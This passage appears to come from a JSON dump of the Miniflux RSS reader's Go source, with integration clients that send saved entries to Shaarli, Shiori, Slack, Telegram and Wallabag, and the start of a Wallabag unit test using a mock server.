    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage shaarli // import \"miniflux.app/v2/internal/integration/shaarli\"\n\nimport (\n\t\"bytes\"\n\t\"crypto/hmac\"\n\t\"crypto/sha512\"\n\t\"encoding/base64\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/client\"\n\t\"miniflux.app/v2/internal/urllib\"\n\t\"miniflux.app/v2/internal/version\"\n)\n\nconst defaultClientTimeout = 10 * time.Second\n\ntype Client struct {\n\tbaseURL   string\n\tapiSecret string\n}\n\nfunc NewClient(baseURL, apiSecret string) *Client {\n\treturn &Client{baseURL: baseURL, apiSecret: apiSecret}\n}\n\nfunc (c *Client) CreateLink(entryURL, entryTitle string) error {\n\tif c.baseURL == \"\" || c.apiSecret == \"\" {\n\t\treturn errors.New(\"shaarli: missing base URL or API secret\")\n\t}\n\n\tapiEndpoint, err := urllib.JoinBaseURLAndPath(c.baseURL, \"/api/v1/links\")\n\tif err != nil {\n\t\treturn fmt.Errorf(\"shaarli: invalid API endpoint: %v\", err)\n\t}\n\n\trequestBody, err := json.Marshal(&addLinkRequest{\n\t\tURL:     entryURL,\n\t\tTitle:   entryTitle,\n\t\tPrivate: true,\n\t})\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"shaarli: unable to encode request body: %v\", err)\n\t}\n\n\trequest, err := http.NewRequest(http.MethodPost, apiEndpoint, bytes.NewReader(requestBody))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"shaarli: unable to create request: %v\", err)\n\t}\n\n\trequest.Header.Set(\"Content-Type\", \"application/json\")\n\trequest.Header.Set(\"Accept\", \"application/json\")\n\trequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\trequest.Header.Set(\"Authorization\", \"Bearer \"+c.generateBearerToken())\n\n\thttpClient := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout, BlockPrivateNetworks: !config.Opts.IntegrationAllowPrivateNetworks()})\n\tresponse, err := httpClient.Do(request)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"shaarli: unable to send request: %v\", err)\n\t}\n\tdefer response.Body.Close()\n\n\tif response.StatusCode != http.StatusCreated {\n\t\treturn fmt.Errorf(\"shaarli: unable to add link: url=%s status=%d\", apiEndpoint, response.StatusCode)\n\t}\n\n\treturn nil\n}\n\nfunc (c *Client) generateBearerToken() string {\n\theader := base64.RawURLEncoding.EncodeToString([]byte(`{\"typ\":\"JWT\",\"alg\":\"HS512\"}`))\n\tpayload := base64.RawURLEncoding.EncodeToString(fmt.Appendf(nil, `{\"iat\":%d}`, time.Now().Unix()))\n\tdata := header + \".\" + payload\n\n\tmac := hmac.New(sha512.New, []byte(c.apiSecret))\n\tmac.Write([]byte(data))\n\tsignature := base64.RawURLEncoding.EncodeToString(mac.Sum(nil))\n\n\treturn data + \".\" + signature\n}\n\ntype addLinkRequest struct {\n\tURL     string `json:\"url\"`\n\tTitle   string `json:\"title\"`\n\tPrivate bool   `json:\"private\"`\n}\n"
  },
  {
    "path": "internal/integration/shiori/shiori.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage shiori // import \"miniflux.app/v2/internal/integration/shiori\"\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/client\"\n\t\"miniflux.app/v2/internal/urllib\"\n\t\"miniflux.app/v2/internal/version\"\n)\n\nconst defaultClientTimeout = 10 * time.Second\n\ntype Client struct {\n\tbaseURL  string\n\tusername string\n\tpassword string\n}\n\nfunc NewClient(baseURL, username, password string) *Client {\n\treturn &Client{baseURL: baseURL, username: username, password: password}\n}\n\nfunc (c *Client) CreateBookmark(entryURL, entryTitle string) error {\n\tif c.baseURL == \"\" || c.username == \"\" || c.password == \"\" {\n\t\treturn errors.New(\"shiori: missing base URL, username or password\")\n\t}\n\n\ttoken, err := c.authenticate()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"shiori: unable to authenticate: %v\", err)\n\t}\n\n\tapiEndpoint, err := urllib.JoinBaseURLAndPath(c.baseURL, \"/api/bookmarks\")\n\tif err != nil {\n\t\treturn fmt.Errorf(\"shiori: invalid API endpoint: %v\", err)\n\t}\n\n\trequestBody, err := json.Marshal(&addBookmarkRequest{\n\t\tURL:           entryURL,\n\t\tTitle:         entryTitle,\n\t\tExcerpt:       \"\",\n\t\tCreateArchive: true,\n\t\tCreateEbook:   false,\n\t\tPublic:        0,\n\t\tTags:          make([]string, 0),\n\t})\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"shiori: unable to encode request body: %v\", err)\n\t}\n\n\trequest, err := http.NewRequest(http.MethodPost, apiEndpoint, bytes.NewReader(requestBody))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"shiori: unable to create request: %v\", err)\n\t}\n\n\trequest.Header.Set(\"Content-Type\", \"application/json\")\n\trequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\trequest.Header.Set(\"Authorization\", \"Bearer \"+token)\n\n\thttpClient := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout, BlockPrivateNetworks: !config.Opts.IntegrationAllowPrivateNetworks()})\n\n\tresponse, err := httpClient.Do(request)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"shiori: unable to send request: %v\", err)\n\t}\n\tdefer response.Body.Close()\n\n\tif response.StatusCode != http.StatusOK {\n\t\treturn fmt.Errorf(\"shiori: unable to create bookmark: url=%s status=%d\", apiEndpoint, response.StatusCode)\n\t}\n\n\treturn nil\n}\n\nfunc (c *Client) authenticate() (string, error) {\n\tapiEndpoint, err := urllib.JoinBaseURLAndPath(c.baseURL, \"/api/v1/auth/login\")\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"shiori: invalid API endpoint: %v\", err)\n\t}\n\n\trequestBody, err := json.Marshal(&authRequest{Username: c.username, Password: c.password, RememberMe: false})\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"shiori: unable to encode request body: %v\", err)\n\t}\n\n\trequest, err := http.NewRequest(http.MethodPost, apiEndpoint, bytes.NewReader(requestBody))\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"shiori: unable to create request: %v\", err)\n\t}\n\n\trequest.Header.Set(\"Content-Type\", \"application/json\")\n\trequest.Header.Set(\"Accept\", \"application/json\")\n\trequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\n\thttpClient := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout, BlockPrivateNetworks: !config.Opts.IntegrationAllowPrivateNetworks()})\n\n\tresponse, err := httpClient.Do(request)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"shiori: unable to send request: %v\", err)\n\t}\n\tdefer response.Body.Close()\n\n\tif response.StatusCode != http.StatusOK {\n\t\treturn \"\", fmt.Errorf(\"shiori: unable to authenticate: url=%s status=%d\", apiEndpoint, response.StatusCode)\n\t}\n\n\tvar authResponse authResponse\n\tif err := json.NewDecoder(response.Body).Decode(&authResponse); err != nil {\n\t\treturn \"\", fmt.Errorf(\"shiori: unable to decode response: %v\", err)\n\t}\n\treturn authResponse.Message.Token, nil\n}\n\ntype authRequest struct {\n\tUsername   string `json:\"username\"`\n\tPassword   string `json:\"password\"`\n\tRememberMe bool   `json:\"remember_me\"`\n}\n\ntype authResponse struct {\n\tOK      bool                `json:\"ok\"`\n\tMessage authResponseMessage `json:\"message\"`\n}\n\ntype authResponseMessage struct {\n\tSessionID string `json:\"session\"`\n\tToken     string `json:\"token\"`\n}\n\ntype addBookmarkRequest struct {\n\tURL           string   `json:\"url\"`\n\tTitle         string   `json:\"title\"`\n\tCreateArchive bool     `json:\"create_archive\"`\n\tCreateEbook   bool     `json:\"create_ebook\"`\n\tPublic        int      `json:\"public\"`\n\tExcerpt       string   `json:\"excerpt\"`\n\tTags          []string `json:\"tags\"`\n}\n"
  },
  {
    "path": "internal/integration/slack/slack.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\n// Slack Webhooks documentation: https://api.slack.com/messaging/webhooks\n\npackage slack // import \"miniflux.app/v2/internal/integration/slack\"\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"log/slog\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/client\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/urllib\"\n\t\"miniflux.app/v2/internal/version\"\n)\n\nconst defaultClientTimeout = 10 * time.Second\nconst slackMsgColor = \"#5865F2\"\n\ntype Client struct {\n\twebhookURL string\n}\n\nfunc NewClient(webhookURL string) *Client {\n\treturn &Client{webhookURL: webhookURL}\n}\n\nfunc (c *Client) SendSlackMsg(feed *model.Feed, entries model.Entries) error {\n\tfor _, entry := range entries {\n\t\trequestBody, err := json.Marshal(&slackMessage{\n\t\t\tAttachments: []slackAttachments{\n\t\t\t\t{\n\t\t\t\t\tTitle: \"RSS feed update from Miniflux\",\n\t\t\t\t\tColor: slackMsgColor,\n\t\t\t\t\tFields: []slackFields{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tTitle: \"Updated feed\",\n\t\t\t\t\t\t\tValue: feed.Title,\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tTitle: \"Article title\",\n\t\t\t\t\t\t\tValue: entry.Title,\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tTitle: \"Article link\",\n\t\t\t\t\t\t\tValue: entry.URL,\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tTitle: \"Author\",\n\t\t\t\t\t\t\tValue: entry.Author,\n\t\t\t\t\t\t\tShort: true,\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tTitle: \"Source website\",\n\t\t\t\t\t\t\tValue: urllib.RootURL(feed.SiteURL),\n\t\t\t\t\t\t\tShort: true,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"slack: unable to encode request body: %v\", err)\n\t\t}\n\n\t\trequest, err := http.NewRequest(http.MethodPost, c.webhookURL, bytes.NewReader(requestBody))\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"slack: unable to create request: %v\", err)\n\t\t}\n\n\t\trequest.Header.Set(\"Content-Type\", \"application/json\")\n\t\trequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\n\t\tslog.Debug(\"Sending Slack notification\",\n\t\t\tslog.String(\"webhookURL\", c.webhookURL),\n\t\t\tslog.String(\"title\", feed.Title),\n\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t)\n\n\t\thttpClient := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout, BlockPrivateNetworks: !config.Opts.IntegrationAllowPrivateNetworks()})\n\t\tresponse, err := httpClient.Do(request)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"slack: unable to send request: %v\", err)\n\t\t}\n\t\tdefer response.Body.Close()\n\n\t\tif response.StatusCode >= 400 {\n\t\t\treturn fmt.Errorf(\"slack: unable to send a notification: url=%s status=%d\", c.webhookURL, response.StatusCode)\n\t\t}\n\t}\n\n\treturn nil\n}\n\ntype slackFields struct {\n\tTitle string `json:\"title\"`\n\tValue string `json:\"value\"`\n\tShort bool   `json:\"short,omitempty\"`\n}\n\ntype slackAttachments struct {\n\tTitle  string        `json:\"title\"`\n\tColor  string        `json:\"color\"`\n\tFields []slackFields `json:\"fields\"`\n}\n\ntype slackMessage struct {\n\tAttachments []slackAttachments `json:\"attachments\"`\n}\n"
  },
  {
    "path": "internal/integration/telegrambot/client.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage telegrambot // import \"miniflux.app/v2/internal/integration/telegrambot\"\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/http/client\"\n\t\"miniflux.app/v2/internal/version\"\n)\n\nconst (\n\tdefaultClientTimeout = 10 * time.Second\n\ttelegramAPIEndpoint  = \"https://api.telegram.org\"\n\n\tMarkdownFormatting   = \"Markdown\"\n\tMarkdownV2Formatting = \"MarkdownV2\"\n\tHTMLFormatting       = \"HTML\"\n)\n\ntype Client struct {\n\tbotToken string\n\tchatID   string\n}\n\nfunc NewClient(botToken, chatID string) *Client {\n\treturn &Client{\n\t\tbotToken: botToken,\n\t\tchatID:   chatID,\n\t}\n}\n\n// Specs: https://core.telegram.org/bots/api#getme\nfunc (c *Client) GetMe() (*User, error) {\n\tendpointURL, err := url.JoinPath(telegramAPIEndpoint, \"/bot\"+c.botToken, \"/getMe\")\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"telegram: unable to join base URL and path: %w\", err)\n\t}\n\n\trequest, err := http.NewRequest(http.MethodGet, endpointURL, nil)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"telegram: unable to create request: %v\", err)\n\t}\n\n\trequest.Header.Set(\"Accept\", \"application/json\")\n\trequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\n\thttpClient := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout})\n\tresponse, err := httpClient.Do(request)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"telegram: unable to send request: %v\", err)\n\t}\n\tdefer response.Body.Close()\n\n\tvar userResponse UserResponse\n\tif err := json.NewDecoder(response.Body).Decode(&userResponse); err != nil {\n\t\treturn nil, fmt.Errorf(\"telegram: unable to decode user response: %w\", err)\n\t}\n\n\tif !userResponse.Ok {\n\t\treturn nil, fmt.Errorf(\"telegram: unable to send message: %s (error code is %d)\", userResponse.Description, userResponse.ErrorCode)\n\t}\n\n\treturn &userResponse.Result, nil\n}\n\n// Specs: https://core.telegram.org/bots/api#sendmessage\nfunc (c *Client) SendMessage(message *MessageRequest) (*Message, error) {\n\tendpointURL, err := url.JoinPath(telegramAPIEndpoint, \"/bot\"+c.botToken, \"/sendMessage\")\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"telegram: unable to join base URL and path: %w\", err)\n\t}\n\n\trequestBody, err := json.Marshal(message)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"telegram: unable to encode request body: %v\", err)\n\t}\n\n\trequest, err := http.NewRequest(http.MethodPost, endpointURL, bytes.NewReader(requestBody))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"telegram: unable to create request: %v\", err)\n\t}\n\n\trequest.Header.Set(\"Content-Type\", \"application/json\")\n\trequest.Header.Set(\"Accept\", \"application/json\")\n\trequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\n\thttpClient := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout})\n\tresponse, err := httpClient.Do(request)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"telegram: unable to send request: %v\", err)\n\t}\n\tdefer response.Body.Close()\n\n\tvar messageResponse MessageResponse\n\tif err := json.NewDecoder(response.Body).Decode(&messageResponse); err != nil {\n\t\treturn nil, fmt.Errorf(\"telegram: unable to decode discovery response: %w\", err)\n\t}\n\n\tif !messageResponse.Ok {\n\t\treturn nil, fmt.Errorf(\"telegram: unable to send message: %s (error code is %d)\", messageResponse.Description, messageResponse.ErrorCode)\n\t}\n\n\treturn &messageResponse.Result, nil\n}\n\ntype InlineKeyboard struct {\n\tInlineKeyboard []InlineKeyboardRow `json:\"inline_keyboard\"`\n}\n\ntype InlineKeyboardRow []*InlineKeyboardButton\n\ntype InlineKeyboardButton struct {\n\tText string `json:\"text\"`\n\tURL  string `json:\"url,omitempty\"`\n}\n\ntype User struct {\n\tID                      int64  `json:\"id\"`\n\tIsBot                   bool   `json:\"is_bot\"`\n\tFirstName               string `json:\"first_name\"`\n\tLastName                string `json:\"last_name\"`\n\tUsername                string `json:\"username\"`\n\tLanguageCode            string `json:\"language_code\"`\n\tIsPremium               bool   `json:\"is_premium\"`\n\tCanJoinGroups           bool   `json:\"can_join_groups\"`\n\tCanReadAllGroupMessages bool   `json:\"can_read_all_group_messages\"`\n\tSupportsInlineQueries   bool   `json:\"supports_inline_queries\"`\n}\n\ntype Chat struct {\n\tID    int64  `json:\"id\"`\n\tType  string `json:\"type\"`\n\tTitle string `json:\"title\"`\n}\n\ntype Message struct {\n\tMessageID       int64 `json:\"message_id\"`\n\tFrom            User  `json:\"from\"`\n\tChat            Chat  `json:\"chat\"`\n\tMessageThreadID int64 `json:\"message_thread_id\"`\n\tDate            int64 `json:\"date\"`\n}\n\ntype BaseResponse struct {\n\tOk          bool   `json:\"ok\"`\n\tErrorCode   int    `json:\"error_code\"`\n\tDescription string `json:\"description\"`\n}\n\ntype UserResponse struct {\n\tBaseResponse\n\tResult User `json:\"result\"`\n}\n\ntype MessageRequest struct {\n\tChatID                string          `json:\"chat_id\"`\n\tMessageThreadID       int64           `json:\"message_thread_id,omitempty\"`\n\tText                  string          `json:\"text\"`\n\tParseMode             string          `json:\"parse_mode,omitempty\"`\n\tDisableWebPagePreview bool            `json:\"disable_web_page_preview\"`\n\tDisableNotification   bool            `json:\"disable_notification\"`\n\tReplyMarkup           *InlineKeyboard `json:\"reply_markup,omitempty\"`\n}\n\ntype MessageResponse struct {\n\tBaseResponse\n\tResult Message `json:\"result\"`\n}\n"
  },
  {
    "path": "internal/integration/telegrambot/telegrambot.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage telegrambot // import \"miniflux.app/v2/internal/integration/telegrambot\"\n\nimport (\n\t\"fmt\"\n\t\"log/slog\"\n\t\"strconv\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/urllib\"\n)\n\nfunc PushEntry(feed *model.Feed, entry *model.Entry, botToken, chatID string, topicID *int64, disableWebPagePreview, disableNotification bool, disableButtons bool) error {\n\tformattedText := fmt.Sprintf(\n\t\t`<b>%s</b> - <a href=%q>%s</a>`,\n\t\tfeed.Title,\n\t\tentry.URL,\n\t\tentry.Title,\n\t)\n\n\tmessage := &MessageRequest{\n\t\tChatID:                chatID,\n\t\tText:                  formattedText,\n\t\tParseMode:             HTMLFormatting,\n\t\tDisableWebPagePreview: disableWebPagePreview,\n\t\tDisableNotification:   disableNotification,\n\t}\n\n\tif topicID != nil {\n\t\tmessage.MessageThreadID = *topicID\n\t}\n\n\tif !disableButtons {\n\t\tvar markupRow []*InlineKeyboardButton\n\n\t\tbaseURL := config.Opts.BaseURL()\n\t\tentryPath := \"/unread/entry/\" + strconv.FormatInt(entry.ID, 10)\n\n\t\tminifluxEntryURL, err := urllib.JoinBaseURLAndPath(baseURL, entryPath)\n\t\tif err != nil {\n\t\t\tslog.Error(\"Unable to create Miniflux entry URL\", slog.Any(\"error\", err))\n\t\t} else {\n\t\t\tminifluxEntryURLButton := InlineKeyboardButton{Text: \"Go to Miniflux\", URL: minifluxEntryURL}\n\t\t\tmarkupRow = append(markupRow, &minifluxEntryURLButton)\n\t\t}\n\n\t\tarticleURLButton := InlineKeyboardButton{Text: \"Go to article\", URL: entry.URL}\n\t\tmarkupRow = append(markupRow, &articleURLButton)\n\n\t\tif entry.CommentsURL != \"\" {\n\t\t\tcommentURLButton := InlineKeyboardButton{Text: \"Comments\", URL: entry.CommentsURL}\n\t\t\tmarkupRow = append(markupRow, &commentURLButton)\n\t\t}\n\n\t\tmessage.ReplyMarkup = &InlineKeyboard{}\n\t\tmessage.ReplyMarkup.InlineKeyboard = append(message.ReplyMarkup.InlineKeyboard, markupRow)\n\t}\n\n\tclient := NewClient(botToken, chatID)\n\t_, err := client.SendMessage(message)\n\treturn err\n}\n"
  },
  {
    "path": "internal/integration/wallabag/wallabag.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage wallabag // import \"miniflux.app/v2/internal/integration/wallabag\"\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strings\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/client\"\n\t\"miniflux.app/v2/internal/urllib\"\n\t\"miniflux.app/v2/internal/version\"\n)\n\nconst defaultClientTimeout = 10 * time.Second\n\ntype Client struct {\n\tbaseURL      string\n\tclientID     string\n\tclientSecret string\n\tusername     string\n\tpassword     string\n\ttags         string\n\tonlyURL      bool\n}\n\nfunc NewClient(baseURL, clientID, clientSecret, username, password, tags string, onlyURL bool) *Client {\n\treturn &Client{\n\t\tbaseURL:      baseURL,\n\t\tclientID:     clientID,\n\t\tclientSecret: clientSecret,\n\t\tusername:     username,\n\t\tpassword:     password,\n\t\ttags:         tags,\n\t\tonlyURL:      onlyURL,\n\t}\n}\n\nfunc (c *Client) CreateEntry(entryURL, entryTitle, entryContent string) error {\n\tif c.baseURL == \"\" || c.clientID == \"\" || c.clientSecret == \"\" || c.username == \"\" || c.password == \"\" {\n\t\treturn errors.New(\"wallabag: missing base URL, client ID, client secret, username or password\")\n\t}\n\n\taccessToken, err := c.getAccessToken()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn c.createEntry(accessToken, entryURL, entryTitle, entryContent, c.tags)\n}\n\nfunc (c *Client) createEntry(accessToken, entryURL, entryTitle, entryContent, tags string) error {\n\tapiEndpoint, err := urllib.JoinBaseURLAndPath(c.baseURL, \"/api/entries.json\")\n\tif err != nil {\n\t\treturn fmt.Errorf(\"wallabag: unable to generate entries endpoint: %v\", err)\n\t}\n\n\tif c.onlyURL {\n\t\tentryContent = \"\"\n\t}\n\n\trequestBody, err := json.Marshal(&createEntryRequest{\n\t\tURL:     entryURL,\n\t\tTitle:   entryTitle,\n\t\tContent: entryContent,\n\t\tTags:    tags,\n\t})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"wallabag: unable to encode request body: %v\", err)\n\t}\n\n\trequest, err := http.NewRequest(http.MethodPost, apiEndpoint, bytes.NewReader(requestBody))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"wallabag: unable to create request: %v\", err)\n\t}\n\n\trequest.Header.Set(\"Content-Type\", \"application/json\")\n\trequest.Header.Set(\"Accept\", \"application/json\")\n\trequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\trequest.Header.Set(\"Authorization\", \"Bearer \"+accessToken)\n\n\thttpClient := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout, BlockPrivateNetworks: !config.Opts.IntegrationAllowPrivateNetworks()})\n\tresponse, err := httpClient.Do(request)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"wallabag: unable to send request: %v\", err)\n\t}\n\tdefer response.Body.Close()\n\n\tif response.StatusCode >= 400 {\n\t\treturn fmt.Errorf(\"wallabag: unable to get save entry: url=%s status=%d\", apiEndpoint, response.StatusCode)\n\t}\n\n\treturn nil\n}\n\nfunc (c *Client) getAccessToken() (string, error) {\n\tvalues := url.Values{}\n\tvalues.Add(\"grant_type\", \"password\")\n\tvalues.Add(\"client_id\", c.clientID)\n\tvalues.Add(\"client_secret\", c.clientSecret)\n\tvalues.Add(\"username\", c.username)\n\tvalues.Add(\"password\", c.password)\n\n\tapiEndpoint, err := urllib.JoinBaseURLAndPath(c.baseURL, \"/oauth/v2/token\")\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"wallabag: unable to generate token endpoint: %v\", err)\n\t}\n\n\trequest, err := http.NewRequest(http.MethodPost, apiEndpoint, strings.NewReader(values.Encode()))\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"wallabag: unable to create request: %v\", err)\n\t}\n\n\trequest.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\trequest.Header.Set(\"Accept\", \"application/json\")\n\trequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\n\thttpClient := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout, BlockPrivateNetworks: !config.Opts.IntegrationAllowPrivateNetworks()})\n\tresponse, err := httpClient.Do(request)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"wallabag: unable to send request: %v\", err)\n\t}\n\tdefer response.Body.Close()\n\n\tif response.StatusCode >= 400 {\n\t\treturn \"\", fmt.Errorf(\"wallabag: unable to get access token: url=%s status=%d\", apiEndpoint, response.StatusCode)\n\t}\n\n\tvar responseBody tokenResponse\n\tif err := json.NewDecoder(response.Body).Decode(&responseBody); err != nil {\n\t\treturn \"\", fmt.Errorf(\"wallabag: unable to decode token response: %v\", err)\n\t}\n\n\treturn responseBody.AccessToken, nil\n}\n\ntype tokenResponse struct {\n\tAccessToken  string `json:\"access_token\"`\n\tExpires      int    `json:\"expires_in\"`\n\tRefreshToken string `json:\"refresh_token\"`\n\tScope        string `json:\"scope\"`\n\tTokenType    string `json:\"token_type\"`\n}\n\ntype createEntryRequest struct {\n\tURL     string `json:\"url\"`\n\tTitle   string `json:\"title\"`\n\tContent string `json:\"content,omitempty\"`\n\tTags    string `json:\"tags,omitempty\"`\n}\n"
  },
  {
    "path": "internal/integration/wallabag/wallabag_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage wallabag\n\nimport (\n\t\"encoding/json\"\n\t\"io\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"miniflux.app/v2/internal/config\"\n)\n\nfunc TestCreateEntry(t *testing.T) {\n\tconfigureIntegrationAllowPrivateNetworksOption(t)\n\n\tentryURL := \"https://example.com\"\n\tentryTitle := \"title\"\n\tentryContent := \"content\"\n\ttags := \"tag1,tag2,tag3\"\n\n\ttests := []struct {\n\t\tname           string\n\t\tusername       string\n\t\tpassword       string\n\t\tclientID       string\n\t\tclientSecret   string\n\t\ttags           string\n\t\tonlyURL        bool\n\t\tentryURL       string\n\t\tentryTitle     string\n\t\tentryContent   string\n\t\tserverResponse func(w http.ResponseWriter, r *http.Request)\n\t\twantErr        bool\n\t\terrContains    string\n\t}{\n\t\t{\n\t\t\tname:         \"successful entry creation with url only\",\n\t\t\twantErr:      false,\n\t\t\tonlyURL:      true,\n\t\t\tusername:     \"username\",\n\t\t\tpassword:     \"password\",\n\t\t\tclientID:     \"clientId\",\n\t\t\tclientSecret: \"clientSecret\",\n\t\t\ttags:         tags,\n\t\t\tentryURL:     entryURL,\n\t\t\tentryTitle:   entryTitle,\n\t\t\tentryContent: entryContent,\n\t\t\tserverResponse: func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\tif strings.Contains(r.URL.Path, \"/oauth/v2/token\") {\n\t\t\t\t\t// Return success response\n\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\t\tjson.NewEncoder(w).Encode(map[string]any{\n\t\t\t\t\t\t\"access_token\":  \"test-token\",\n\t\t\t\t\t\t\"expires_in\":    3600,\n\t\t\t\t\t\t\"refresh_token\": \"token\",\n\t\t\t\t\t\t\"scope\":         \"scope\",\n\t\t\t\t\t\t\"token_type\":    \"token_type\",\n\t\t\t\t\t})\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\t// Verify authorization header\n\t\t\t\tauth := r.Header.Get(\"Authorization\")\n\t\t\t\tif auth != \"Bearer test-token\" {\n\t\t\t\t\tt.Errorf(\"Expected Authorization header 'Bearer test-token', got %s\", auth)\n\t\t\t\t}\n\t\t\t\t// Verify content type\n\t\t\t\tcontentType := r.Header.Get(\"Content-Type\")\n\t\t\t\tif contentType != \"application/json\" {\n\t\t\t\t\tt.Errorf(\"Expected Content-Type 'application/json', got %s\", contentType)\n\t\t\t\t}\n\t\t\t\t// Parse and verify request\n\t\t\t\tbody, _ := io.ReadAll(r.Body)\n\t\t\t\tvar req map[string]any\n\t\t\t\tif err := json.Unmarshal(body, &req); err != nil {\n\t\t\t\t\tt.Errorf(\"Failed to parse request body: %v\", err)\n\t\t\t\t}\n\t\t\t\tif requstEntryURL := req[\"url\"]; requstEntryURL != entryURL {\n\t\t\t\t\tt.Errorf(\"Expected entryURL %s, got %s\", entryURL, requstEntryURL)\n\t\t\t\t}\n\t\t\t\tif requestEntryTitle := req[\"title\"]; requestEntryTitle != entryTitle {\n\t\t\t\t\tt.Errorf(\"Expected entryTitle %s, got %s\", entryTitle, requestEntryTitle)\n\t\t\t\t}\n\t\t\t\tif _, ok := req[\"content\"]; ok {\n\t\t\t\t\tt.Errorf(\"Expected entryContent to be empty, got value\")\n\t\t\t\t}\n\t\t\t\tif requestTags := req[\"tags\"]; requestTags != tags {\n\t\t\t\t\tt.Errorf(\"Expected tags %s, got %s\", tags, requestTags)\n\t\t\t\t} // Return success response\n\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t},\n\t\t\terrContains: \"\",\n\t\t},\n\t\t{\n\t\t\tname:         \"successful entry creation with content\",\n\t\t\twantErr:      